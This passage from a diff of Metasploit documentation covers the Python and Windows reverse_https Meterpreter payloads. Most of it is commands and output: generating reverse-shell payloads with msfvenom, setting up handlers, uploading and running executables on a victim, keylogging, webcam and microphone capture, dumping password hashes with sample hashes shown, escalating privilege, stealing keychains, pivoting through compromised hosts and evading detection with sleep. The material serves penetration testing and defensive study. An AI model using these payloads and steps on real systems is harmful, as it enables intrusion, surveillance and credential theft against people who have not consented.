|
||||
```
|
||||
|
||||
You can also use the #methods method to see what methods you can use:
|
||||
|
||||
```
|
||||
>> client.methods
|
||||
```
|
||||
|
||||
To review the source of the method, you can use the #source_location method. For example, say we
|
||||
want to see the source code for the #getuid method:
|
||||
|
||||
```
|
||||
>> client.sys.config.method(:getuid).source_location
|
||||
=> ["/Users/sinn3r/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]
|
||||
```
|
||||
|
||||
The first element of the array is the location of the file. The second is the line number of the
|
||||
method.
|
||||
|
||||
## Routing Through the portfwd Commands
|
||||
|
||||
The ```portfwd``` command allows you to talk to a remote service like it's local. For example, if you
|
||||
cannot talk to the blocked HTTP service remotely on the compromised host due to whatever reason,
|
||||
then you can use portfwd to establish that tunnel:
|
||||
|
||||
```
|
||||
meterpreter > portfwd add -l 8000 -p 8000 -r 172.16.23.182
|
||||
[*] Local TCP relay created: :8000 <-> 172.16.23.182:8000
|
||||
```
|
||||
|
||||
And then talk to it like it's a local service:
|
||||
|
||||
```
|
||||
msf auxiliary(http_version) > run
|
||||
|
||||
[*] 127.0.0.1:8000 SimpleHTTP/0.6 Python/2.7.6
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(http_version) >
|
||||
```
|
||||
|
||||
## Routing Through msfconsole
|
||||
|
||||
The ```route``` command from the msf prompt can also be used like portfwd, but it also allows you
|
||||
to reach out to other networks that the compromised host is connected to.
|
||||
|
||||
To use ```route```, first look at the ipconfig/ifconfig output and determine your pivot point:
|
||||
|
||||
```
|
||||
meterpreter > ipconfig
|
||||
```
|
||||
|
||||
Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt, and establish that route:
|
||||
|
||||
```
|
||||
msf > route add 192.168.1.0 255.255.255.0 1
|
||||
```
|
||||
|
||||
At that point, you should have a working pivot. You can use other Metasploit modules to explore
|
||||
or exploit more hosts on the network, or use auxiliary/server/socks4a and [Proxychains](http://proxychains.sourceforge.net/) to
|
||||
allow other third-party tools to do the same.
|
||||
@@ -0,0 +1,358 @@
|
||||
python/meterpreter/reverse_tcp allows you to remotely control the compromised system. It is a
|
||||
unique payload to the Metasploit Framework, because it is cross-platform. And since Python is
|
||||
a very popular programming language, some operating systems such as Ubuntu even support it
|
||||
by default.
|
||||
|
||||
When using an exploit, using a cross-platform payload like python/meterpreter/reverse_tcp also
|
||||
means you don't need to worry about which target/platform to select, the payload should work
|
||||
for all of them.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The Python Meterpreter is suitable for any systems that support Python. Some operating
|
||||
systems such as Ubuntu, Debian, Arch Linux, and OS X have it by default. The Python
|
||||
Meterpreter supports the CPython implementation versions 2.5-2.7 and 3.1+.
|
||||
|
||||
## Deploying python/meterpreter/reverse_tcp
|
||||
|
||||
python/meterpreter/reverse_tcp is typically used in two different ways.
|
||||
|
||||
First, it can be used with an exploit as long as the Python platform is supported. This sort
|
||||
of information can usually be found when you use the ```info``` command like this:
|
||||
|
||||
```
|
||||
msf exploit(ms14_064_packager_python) > info
|
||||
|
||||
Name: MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python
|
||||
Module: exploit/windows/fileformat/ms14_064_packager_python
|
||||
Platform: Python
|
||||
Privileged: No
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Excellent
|
||||
Disclosed: 2014-11-12
|
||||
|
||||
.... more info here ...
|
||||
```
|
||||
|
||||
Or, you can check the exploit's target list by doing ```show targets```, there might be Python
|
||||
on the list.
|
||||
|
||||
If your exploit supports Python, here is how to load it:
|
||||
|
||||
1. In msfconsole, select the exploit.
|
||||
2. Configure the options for that exploit.
|
||||
3. Do: ```set PAYLOAD python/meterpreter/reverse_tcp```
|
||||
4. Set the ```LHOST``` datastore option, which is the [IP that the payload should connect to](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit).
|
||||
5. Do ```exploit```. If the exploit is successful, it should execute that payload.
|
||||
|
||||
Another way to use the Python Meterpreter is to generate it as a Python file. Normally, you would
|
||||
want to do this with msfvenom, like this:
|
||||
|
||||
```
|
||||
./msfvenom -p python/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/python.py
|
||||
```
|
||||
|
||||
## Important Basic Commands
|
||||
|
||||
Compared to a native Meterpreter such as windows/meterpreter/reverse_tcp, the Python Meterpreter
|
||||
has less commands, but here's a list of all the common ones you might need:
|
||||
|
||||
**pwd command**
|
||||
|
||||
The ```pwd``` command tells you the current working directory. For example:
|
||||
|
||||
```
|
||||
meterpreter > pwd
|
||||
/Users/sinn3r/Desktop
|
||||
```
|
||||
|
||||
**cd command**
|
||||
|
||||
The ```cd``` command allows you to change directories. Example:
|
||||
|
||||
```
|
||||
meterpreter > cd /Users/sinn3r/Desktop
|
||||
meterpreter > pwd
|
||||
/Users/sinn3r/Desktop
|
||||
```
|
||||
|
||||
**cat command**
|
||||
|
||||
The ```cat``` command allows you to see the content of a file:
|
||||
|
||||
```
|
||||
meterpreter > cat /tmp/data.txt
|
||||
Hello World!
|
||||
```
|
||||
|
||||
**upload command**
|
||||
|
||||
The ```upload``` command allows you to upload a file to the remote target. For example:
|
||||
|
||||
```
|
||||
meterpreter > upload /tmp/data.txt /Users/sinn3r/Desktop
|
||||
[*] uploading : /tmp/data.txt -> /Users/sinn3r/Desktop
|
||||
[*] uploaded : /tmp/data.txt -> /Users/sinn3r/Desktop/data.txt
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**download command**
|
||||
|
||||
The ```download``` command allows you to download a file from the remote target to your machine.
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > download /Users/sinn3r/Desktop/data.txt /tmp/pass.txt
|
||||
[*] downloading: /Users/sinn3r/Desktop/data.txt -> /tmp/pass.txt/data.txt
|
||||
[*] download : /Users/sinn3r/Desktop/data.txt -> /tmp/pass.txt/data.txt
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**search command**
|
||||
|
||||
The ```search``` command allows you to find files on the remote file system. For example,
|
||||
this shows how to find all text files in the current directory:
|
||||
|
||||
```
|
||||
meterpreter > search -d . -f *.txt
|
||||
Found 2 results...
|
||||
.\pass.txt (13 bytes)
|
||||
./creds\data.txt (83 bytes)
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
Without the ```-d``` option, the command will attempt to search in all drives.
|
||||
|
||||
The ```-r``` option for the command allows you to search recursively.
|
||||
|
||||
|
||||
**getuid command**
|
||||
|
||||
The ```getuid``` command tells you the current user that Meterpreter is running on. For example:
|
||||
|
||||
```
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
**execute command**
|
||||
|
||||
The ```execute``` command allows you to execute a command or file on the remote machine.
|
||||
|
||||
The following examples uses the command to create a text file:
|
||||
|
||||
```
|
||||
meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
|
||||
Process 73642 created.
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**ps command**
|
||||
|
||||
The ```ps``` command lists the running processes on the remote machine.
|
||||
|
||||
**shell command**
|
||||
|
||||
The ```shell``` command allows you to interact with the remote machine's command prompt (or shell).
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > shell
|
||||
Process 74513 created.
|
||||
Channel 2 created.
|
||||
sh-3.2#
|
||||
```
|
||||
|
||||
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
|
||||
|
||||
**sysinfo**
|
||||
|
||||
The ```sysinfo``` command shows you basic information about the remote machine. Such as:
|
||||
|
||||
* Computer name
|
||||
* OS name
|
||||
* Architecture
|
||||
* Meterpreter type
|
||||
|
||||
## Using a Post Module
|
||||
|
||||
One of the best things about Meterprter is you have access to a variety of post modules that
|
||||
"shell" sessions might not have. Post modules provide you with more capabilities to collect
|
||||
data from the remote machine automatically. For example, stealing credentials from the system
|
||||
or third-party applications, or modify settings, etc.
|
||||
|
||||
To use a post module from the Meterpreter prompt, simply use the ```run``` command. The following
|
||||
is an example of collecting OS X keychain information using the enum_keychain post module:
|
||||
|
||||
```
|
||||
meterpreter > run post/osx/gather/enum_keychain
|
||||
|
||||
[*] The following keychains for root were found:
|
||||
"/Users/sinn3r/Library/Keychains/login.keychain"
|
||||
"/Library/Keychains/System.keychain"
|
||||
[+] 192.168.1.209:58023 - Keychain information saved in /Users/sinn3r/.msf4/loot/20160705211412_http_192.168.1.209_macosx.keychain._271980.txt
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Using the Post Exploitation API in IRB
|
||||
|
||||
To enter IRB, do the following at the Meterpreter prompt:
|
||||
|
||||
```
|
||||
meterpreter > irb
|
||||
[*] Starting IRB shell
|
||||
[*] The 'client' variable holds the meterpreter client
|
||||
|
||||
>>
|
||||
```
|
||||
|
||||
**The client object**
|
||||
|
||||
The client object in Meterpreter allows you to control or retrieve information about the host. For
|
||||
example, this allows you to get the current privilege our payload is running as:
|
||||
|
||||
```
|
||||
>> client.sys.config.getuid
|
||||
=> "root"
|
||||
```
|
||||
|
||||
To explore the client object, there are a few tricks. For example, you can use the #inspect method
|
||||
to inspect it:
|
||||
|
||||
```
|
||||
>> client.inspect
|
||||
```
|
||||
|
||||
You can also use the #methods method to see what methods you can use:
|
||||
|
||||
```
|
||||
>> client.methods
|
||||
```
|
||||
|
||||
To review the source of the method, you can use the #source_location method. For example, say we
|
||||
want to see the source code for the #getuid method:
|
||||
|
||||
```
|
||||
>> client.sys.config.method(:getuid).source_location
|
||||
=> ["/Users/sinn3r/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]
|
||||
```
|
||||
|
||||
The first element of the array is the location of the file. The second is the line number of
|
||||
the method.
|
||||
|
||||
**Railgun**
|
||||
|
||||
If you are familiar with using the post exploitation API for Windows, you probably know about
|
||||
Railgun. Unfortunately, Railgun is not available in Python Meterpreters.
|
||||
|
||||
## Switching to a Native Meterpreter
|
||||
|
||||
The Python Meterpreter currently does not quite have the same strength as a native Meterpreter,
|
||||
therefore there are times you will want to migrate to a native one to expose yourself with more
|
||||
features.
|
||||
|
||||
There are many ways to migrate to a native Meterpreter, some common approaches:
|
||||
|
||||
**Example 1: Upload and Execute**
|
||||
|
||||
Step 1: Produce a native Meterpreter, such as:
|
||||
|
||||
```
|
||||
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=5555 -f exe -o /tmp/native.exe
|
||||
```
|
||||
|
||||
Step 2: Start another handler for the native payload:
|
||||
|
||||
```
|
||||
./msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST [IP]; set LPORT 5555; run"
|
||||
```
|
||||
|
||||
Step 3: Upload the native via the Python Meterpreter session:
|
||||
|
||||
```
|
||||
meterpreter > upload /tmp/native.exe C:\\Users\\sinn3r\\Desktop
|
||||
[*] uploading : /tmp/native.exe -> C:\Users\sinn3r\Desktop
|
||||
[*] uploaded : /tmp/native.exe -> C:\Users\sinn3r\Desktop\native.exe
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
Step 4: Execute the native payload:
|
||||
|
||||
```
|
||||
meterpreter > execute -H -f C:\\Users\\sinn3r\\Desktop\\native.exe
|
||||
Process 2764 created.
|
||||
```
|
||||
|
||||
And then your other handler (for the native payload) should receive that session:
|
||||
|
||||
```
|
||||
[*] Starting the payload handler...
|
||||
[*] Sending stage (957999 bytes) to 192.168.1.220
|
||||
[*] Meterpreter session 1 opened (192.168.1.209:5555 -> 192.168.1.220:49306) at 2016-07-05 21:48:04 -0500
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-6NH0Q8CJQVM
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/win32
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**Example 2: Using exploit/multi/script/web_delivery**
|
||||
|
||||
Another way to migrate to a native Meterpreter is by using the exploit/multi/script/web_delivery
|
||||
module. To learn how, please read the module documentation for that module.
|
||||
|
||||
## Routing through the portfwd command
|
||||
|
||||
The portfwd command allows you to talk to a remote service like it's local. For example, if you
|
||||
cannot talk to the SMB service remotely on the compromised host because it is firewalled, then
|
||||
you can use portfwd to establish that tunnel:
|
||||
|
||||
```
|
||||
meterpreter > portfwd add -l 445 -p 445 -r 192.168.1.220
|
||||
[*] Local TCP relay created: :445 <-> 192.168.1.220:445
|
||||
meterpreter > portfwd
|
||||
|
||||
Active Port Forwards
|
||||
====================
|
||||
|
||||
Index Local Remote Direction
|
||||
----- ----- ------ ---------
|
||||
1 0.0.0.0:445 192.168.1.220:445 Forward
|
||||
```
|
||||
|
||||
And then talk to it like it's a local service:
|
||||
|
||||
```
|
||||
msf auxiliary(smb_version) > run
|
||||
|
||||
[*] 127.0.0.1:445 - Host is running Windows 7 Ultimate SP1 (build:7601)
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Routing through msfconsole
|
||||
|
||||
The route command from the msf prompt can also be used to bypass firewall like portfwd, but it also
|
||||
allows you to connect to hosts on a different network through the compromised machine.
|
||||
|
||||
To do that, first off, look at the ifconfig/ipconfig output and determine your pivot point:
|
||||
|
||||
```
|
||||
meterpreter > ipconfig
|
||||
```
|
||||
|
||||
Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt,
|
||||
and establish that route:
|
||||
|
||||
```
|
||||
msf > route add 192.168.1.0 255.255.255.0 1
|
||||
```
|
||||
|
||||
At that point, you should have a working pivot. You can use other Metasploit modules to explore
|
||||
or exploit more hosts on the network, or use auxiliary/server/socks4a and [Proxychains](http://proxychains.sourceforge.net/) to allow
|
||||
other third-party tools to do the same.
|
||||
@@ -0,0 +1,509 @@
|
||||
windows/meterpreter/reverse_https is a unique Windows payload for Metasploit Framework. It
|
||||
is capable of doing things like remotely control the file system, sniff, keylog, hashdump,
|
||||
pivoting, run extensions, etc. But the real strength of this is the way it talks to the
|
||||
attacker.
|
||||
|
||||
Instead of a stream-based communication model (tied to a specific TCP session), the stager
|
||||
provides a packet-based transaction system instead. You know, kind of like a botnet that we
|
||||
see today. The use of HTTPS also makes the payload communication a little bit harder to detect.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This Meterpreter payload is suitable for the following environments:
|
||||
|
||||
* Windows x64
|
||||
* Windows x86
|
||||
|
||||
## Deploying windows/meterpreter/reverse_https
|
||||
|
||||
windows/meterpreter/revese_https can be used in two different ways.
|
||||
|
||||
**As an exploit payload**
|
||||
|
||||
To check if windows/meterpreter/reverse_https is compatible with the exploit or not, first you can
|
||||
use the ```info``` command on the exploit you want to use:
|
||||
|
||||
```
|
||||
msf exploit(ms08_067_netapi) > info
|
||||
|
||||
Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
|
||||
Module: exploit/windows/smb/ms08_067_netapi
|
||||
Platform: Windows
|
||||
Privileged: Yes
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Great
|
||||
Disclosed: 2008-10-28
|
||||
|
||||
...
|
||||
```
|
||||
|
||||
If the platform field includes Windows, then you can use windows/meterpreter/reverse_https as the
|
||||
payload.
|
||||
|
||||
Depending on the module, sometimes you have to select a specific target by first checking the
|
||||
target list, like the following:
|
||||
|
||||
```
|
||||
show targets
|
||||
```
|
||||
|
||||
If there is a Windows target, use that:
|
||||
|
||||
```
|
||||
set TARGET [index]
|
||||
```
|
||||
|
||||
To actually set the payload:
|
||||
|
||||
1. In msfconsole, load the exploit.
|
||||
2. Do: ```set PAYLOAD windows/meterpreter/reverse_https```
|
||||
3. Set the ```LHOST``` OPTION WHICH, which [IP the same the payload connect to](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit).
|
||||
4. Run th exploit
|
||||
|
||||
**As a standalone**
|
||||
|
||||
To generate windows/meterpreter/reverse_https, you can do this from msfvenom:
|
||||
|
||||
```
|
||||
./msfvenom -p windows/meterpreter/reverse_https lhost=172.16.23.1 lport=4444 -f exe -o /tmp/https.exe
|
||||
```
|
||||
|
||||
## Important Basic Commands
|
||||
|
||||
**pwd command**
|
||||
|
||||
The ```pwd``` command allows you to see the current directory you're in on the remote target.
|
||||
Example:
|
||||
|
||||
```
|
||||
meterpreter > pwd
|
||||
C:\Users\sinn3r\Desktop
|
||||
```
|
||||
|
||||
**cd command**
|
||||
|
||||
The ```cd``` command allows you to change directories. Example:
|
||||
|
||||
```
|
||||
meterpreter > cd C:\\
|
||||
```
|
||||
|
||||
**cat command**
|
||||
|
||||
The ```cat``` command allows you to see the content of a file:
|
||||
|
||||
```
|
||||
meterpreter > cat data.txt
|
||||
Hello World
|
||||
```
|
||||
|
||||
**upload command**
|
||||
|
||||
The ```upload``` command allows you to upload a file to the remote target. For example:
|
||||
|
||||
```
|
||||
meterpreter > upload /tmp/payload.exe C:\\Users\\sinn3r\\Desktop
|
||||
[*] uploading : /tmp/payload.exe -> C:\Users\sinn3r\Desktop
|
||||
[*] uploaded : /tmp/payload.exe -> C:\Users\sinn3r\Desktop\payload.exe
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
The ```-r``` option for the command also allows you to upload recursively.
|
||||
|
||||
**download command**
|
||||
|
||||
The ```download``` command allows you download a file from the remote target to your machine.
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > download C:\\Users\\sinn3r\\Desktop\\password.txt
|
||||
[*] downloading: C:\Users\sinn3r\Desktop\password.txt -> password.txt
|
||||
[*] download : C:\Users\sinn3r\Desktop\password.txt -> password.txt
|
||||
```
|
||||
|
||||
**search command**
|
||||
|
||||
The ```search``` command allows you to find files on the remote file system. For example, this
|
||||
demonstrates how to find all text files in the current directory:
|
||||
|
||||
```
|
||||
meterpreter > search -d . -f *.txt
|
||||
Found 1 result...
|
||||
.\password.txt (11 bytes)
|
||||
```
|
||||
|
||||
Note that without the ```-d``` option, the command will attempt to search in all drives.
|
||||
|
||||
The ```-r``` option for the commands allows you to search recursively.
|
||||
|
||||
**ifconfig/ipconfig command**
|
||||
|
||||
The ```ifconfig``` command displays the network interfaces on the remote machine:
|
||||
|
||||
```
|
||||
meterpreter > ipconfig
|
||||
|
||||
Interface 1
|
||||
============
|
||||
Name : Software Loopback Interface 1
|
||||
Hardware MAC : 00:00:00:00:00:00
|
||||
MTU : 4294967295
|
||||
IPv4 Address : 127.0.0.1
|
||||
IPv4 Netmask : 255.0.0.0
|
||||
IPv6 Address : ::1
|
||||
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
|
||||
|
||||
|
||||
Interface 2
|
||||
============
|
||||
Name : Intel(R) PRO/1000 MT Network Connection
|
||||
Hardware MAC : 00:0c:29:eb:33:d9
|
||||
MTU : 1500
|
||||
IPv4 Address : 172.16.23.185
|
||||
IPv4 Netmask : 255.255.255.0
|
||||
IPv6 Address : fe80::5911:c25:bd50:5a6d
|
||||
IPv6 Netmask : ffff:ffff:ffff:ffff::
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
The command ```ipconfig``` is an alias for ```ifconfig```.
|
||||
|
||||
**getuid command**
|
||||
|
||||
The ```getuid``` command shows you the current user that the payload is running as:
|
||||
|
||||
```
|
||||
meterpreter > getuid
|
||||
Server username: WIN-6NH0Q8CJQVM\sinn3r
|
||||
```
|
||||
|
||||
**execute command**
|
||||
|
||||
The ```execute``` command allows you to execute a command or file on the remote machine.
|
||||
|
||||
The following example will spawn a calculator:
|
||||
|
||||
```
|
||||
meterpreter > execute -f calc.exe
|
||||
Process 2020 created.
|
||||
```
|
||||
|
||||
**ps command**
|
||||
|
||||
The ```ps``` command lists the running processes on the remote machine.
|
||||
|
||||
**shell command**
|
||||
|
||||
The ```shell``` command allows you to interact with the remote machine's command prompt. Example:
|
||||
|
||||
```
|
||||
meterpreter > shell
|
||||
Process 2872 created.
|
||||
Channel 1 created.
|
||||
Microsoft Windows [Version 6.1.7601]
|
||||
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Users\sinn3r\Desktop>
|
||||
```
|
||||
|
||||
**sysinfo command**
|
||||
|
||||
The ```sysinfo``` command shows you basic information about the remote machine. Example:
|
||||
|
||||
```
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-6NH0Q8CJQVM
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/win32
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**keyscan command**
|
||||
|
||||
The ```keyscan_start``` command starts the keylogging feature on the remote machine.
|
||||
|
||||
**keyscan_dump command**
|
||||
|
||||
The ```keyscan_dump``` command is a keylogger feature. You must use the ```keyscan_start``` command
|
||||
before using this. Example:
|
||||
|
||||
```
|
||||
meterpreter > keyscan_start
|
||||
Starting the keystroke sniffer...
|
||||
meterpreter > keyscan_dump
|
||||
Dumping captured keystrokes...
|
||||
hello world!
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**keyscan_stop command**
|
||||
|
||||
The ```keyscan_stop``` command stops the keylogger.
|
||||
|
||||
**screenshot command**
|
||||
|
||||
The ```screenshot``` command takes a screenshot of the target machine.
|
||||
|
||||
**webcan_list command**
|
||||
|
||||
The ```webcam_list``` commands shows you a list of webcams that you can control. You'll
|
||||
probably want to use this first before using any other webcam commands.
|
||||
|
||||
**webcam_snap command**
|
||||
|
||||
The ```webcam_snap``` commands uses the selected webcam to take a picture.
|
||||
|
||||
**webcam_stream command**
|
||||
|
||||
The ```webcam_stream``` command basically uses the ```webcam_snap``` command repeatedly to create
|
||||
the streaming effect. There is no sound.
|
||||
|
||||
**record_mic command**
|
||||
|
||||
The ```record_mic``` command captures audio on the remote machine.
|
||||
|
||||
**getsystem command**
|
||||
|
||||
The ```getsystem``` command attempts to elevate your privilege on the remote machine with one of
|
||||
these techniques:
|
||||
|
||||
* Named pipe impersonation (in memory)
|
||||
* Named pipe impersonation (dropper)
|
||||
* Token duplication (in memory)
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
meterpreter > getsystem
|
||||
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
||||
```
|
||||
|
||||
**hashdump command**
|
||||
|
||||
The ```hashdump``` commands allows you to dump the Windows hashes if there are the right privileges.
|
||||
For sxample:
|
||||
|
||||
```
|
||||
meterpreter > hashdump
|
||||
Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f:::
|
||||
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
||||
HelpAssistant:1000:92a84e332fa4b09e9850257ad6826566:8fb9a6e155fd6e14a16c37427b68bbb4:::
|
||||
root:1003:633c097a37b26c0caad3b435b51404ee:f2477a144dff4f216ab81f2ac3e3207d:::
|
||||
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:e09fcdea29d93203c925b205640421f2:::
|
||||
```
|
||||
|
||||
**detach command**
|
||||
|
||||
The ```detach``` command allows you to temporarily disconnect the Meterpreter session without
|
||||
actually losing it, as the following example demonstrates:
|
||||
|
||||
```
|
||||
meterpreter > detach
|
||||
|
||||
[*] 172.16.23.185 - Meterpreter session 1 closed. Reason: User exit
|
||||
msf exploit(handler) > run
|
||||
|
||||
[*] Started HTTPS reverse handler on https://172.16.23.1:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] https://172.16.23.1:4444 handling request from 172.16.23.185; (UUID: utvmhcay) Attaching orphaned/stageless session...
|
||||
"https://172.16.23.1:4444/56uhMwqiB8B0s3WyIzN-3wEo5JA4AcwGUum6UAAWxN2MEy0-Tw8f0GH7EOK-uTte7O6WXt8y9KRTiQX88Fn0CNy5yxFMndf1NPfRXelG6se/"
|
||||
[*] Meterpreter session 2 opened (172.16.23.1:4444 -> 172.16.23.185:49207) at 2016-07-11 11:38:21 -0500
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
By default, the Meterpreter session will continue to reach back to you for five minutes. If it
|
||||
is unable to connect back after that, it will terminate. You can extend this by setting the
|
||||
```SessionCommunicationTimeout``` option to your choice. Setting this option to 0 ensures that
|
||||
your session will reattach whenever the target comes back online, as long as the payload handler
|
||||
is running.
|
||||
|
||||
|
||||
## Using a Post Module
|
||||
|
||||
One of the best things about Meterpreter is you have access to a variety of post exploitation
|
||||
modules, specifically for the multi and Windows categories. Post modules provide you with more capabilities to
|
||||
collect data from the remote machine automatically. For example, you can steal passwords
|
||||
from popular applications and enumerate or modify system settings.
|
||||
|
||||
To use a post module from the Meterpreter prompt, simply use the ```run``` command:
|
||||
|
||||
```
|
||||
meterpreter > run post/windows/gather/checkvm
|
||||
|
||||
[*] Checking if WIN-6NH0Q8CJQVM is a Virtual Machine .....
|
||||
[*] This is a VMware Virtual Machine
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
It is also possible to run a post module via multiple Meterpreter sessions. To learn how, load
|
||||
the specific post module you wish to run, and enter ```info -d``` to see the basic usage in the
|
||||
documentation.
|
||||
|
||||
## Using the Post Exploitation API in IRB
|
||||
|
||||
To enter IRB, do the following at the Meterpreter prompt:
|
||||
|
||||
```
|
||||
meterpreter > irb
|
||||
[*] Starting IRB shell
|
||||
[*] The 'client' variable holds the meterpreter client
|
||||
|
||||
>>
|
||||
```
|
||||
|
||||
**The client object**
|
||||
|
||||
The client object in Meterpreter's IRB allows you control or retrieve information about the host. For example, this demonstrates how to obtain the current privilege we're running the payload as:
|
||||
|
||||
```ruby
|
||||
>> client.sys.config.getuid
|
||||
```
|
||||
|
||||
To explore the client object, there are a few tricks. For example, you can use the #inspect method to inspect it:
|
||||
|
||||
```
|
||||
>> client.inspect
|
||||
```
|
||||
|
||||
You can use the #methods method to see what methods you can use:
|
||||
|
||||
```
|
||||
>> client.methods
|
||||
```
|
||||
|
||||
To find the source of the method, you can use the #source_location method. For example, say I want to find the source code for the #getuid method:
|
||||
|
||||
```
|
||||
>> client.sys.config.method(:getuid).source_location
|
||||
=> ["/Users/user/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]
|
||||
```
|
||||
|
||||
The first element of the array is the location of the file. The second element is the line number of the method.
|
||||
|
||||
## Using Railgun
|
||||
|
||||
Railgun allows you to use the remote machine's Windows API in Ruby. For example, to create a MessageBox on the target machine, do:
|
||||
|
||||
```
|
||||
>> client.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
|
||||
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1}
|
||||
```
|
||||
|
||||
To learn more about using Railgun, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Railgun-for-Windows-post-exploitation).
|
||||
|
||||
|
||||
## Routing through the portfwd command
|
||||
|
||||
The portfwd command allows you to talk to a remote service like it's local. For example, SMB is a
|
||||
commonly targeted protocol, but by default it is blocked by a firewall. To being able to talk to
|
||||
it, we can portfwd via an active session:
|
||||
|
||||
```
|
||||
meterpreter > portfwd add -l 445 -p 445 -r 172.16.23.185
|
||||
[*] Local TCP relay created: :445 <-> 172.16.23.185:445
|
||||
```
|
||||
|
||||
And then talk to the remote SMB service like it's local:
|
||||
|
||||
```
|
||||
msf auxiliary(smb_version) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf auxiliary(smb_version) > run
|
||||
|
||||
[*] 127.0.0.1:445 - Host is running Windows 7 Ultimate SP1 (build:7601) (name:WIN-6NH0Q8CJQVM) (domain:WORKGROUP)
|
||||
```
|
||||
|
||||
## Routing through msfconsole
|
||||
|
||||
The route command from the msf prompt can also be used to bypass firewall like portfwd, but it also
|
||||
allows you to connect to hosts on a different network through the compromised machine.
|
||||
|
||||
To do that, first off, look at the ifconfig/ipconfig output and determine your pivot point:
|
||||
|
||||
```
|
||||
meterpreter > ipconfig
|
||||
```
|
||||
|
||||
Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt,
|
||||
and establish that route:
|
||||
|
||||
```
|
||||
msf > route add 192.168.1.0 255.255.255.0 1
|
||||
```
|
||||
|
||||
At that point, you should have a working pivot. You can use other Metasploit modules to explore
|
||||
or exploit more hosts on the network, or use auxiliary/server/socks4a and [Proxychains](http://proxychains.sourceforge.net/) to allow
|
||||
other third-party tools to do the same.
|
||||
|
||||
|
||||
## Meterpreter Stageless Mode
|
||||
|
||||
A stageless Meterpreter allows a more economical way to deliver the payload, for cases where a
|
||||
normal one would actually cost too much time and bandwidth in a penetration test. To learn more
|
||||
about this, [click on this](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode)
|
||||
to read more.
|
||||
|
||||
To use the stageless payload, use ```windows/meterpreter_reverse_https``` instead.
|
||||
|
||||
## Meterpreter Sleep Control
|
||||
|
||||
The sleep mode allows the payload on the target machine to be quiet for awhile, mainly in order to
|
||||
avoid suspicious active communication. It also provides better efficiency.
|
||||
|
||||
It is very simple to use. At the Meterpreter prompt, simply do:
|
||||
|
||||
```
|
||||
meterpreter > sleep 20
|
||||
```
|
||||
|
||||
And that will allow Meterpreter to sleep 20 seconds, and will reconnect as long as the handler
|
||||
remains active (such as running as a background job).
|
||||
|
||||
To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control).
|
||||
|
||||
## Meterpreter Timeout Control
|
||||
|
||||
The timeout control basically defines the life span of Meterpreter. To configure it, use the
|
||||
```set_timeouts``` command:
|
||||
|
||||
```
|
||||
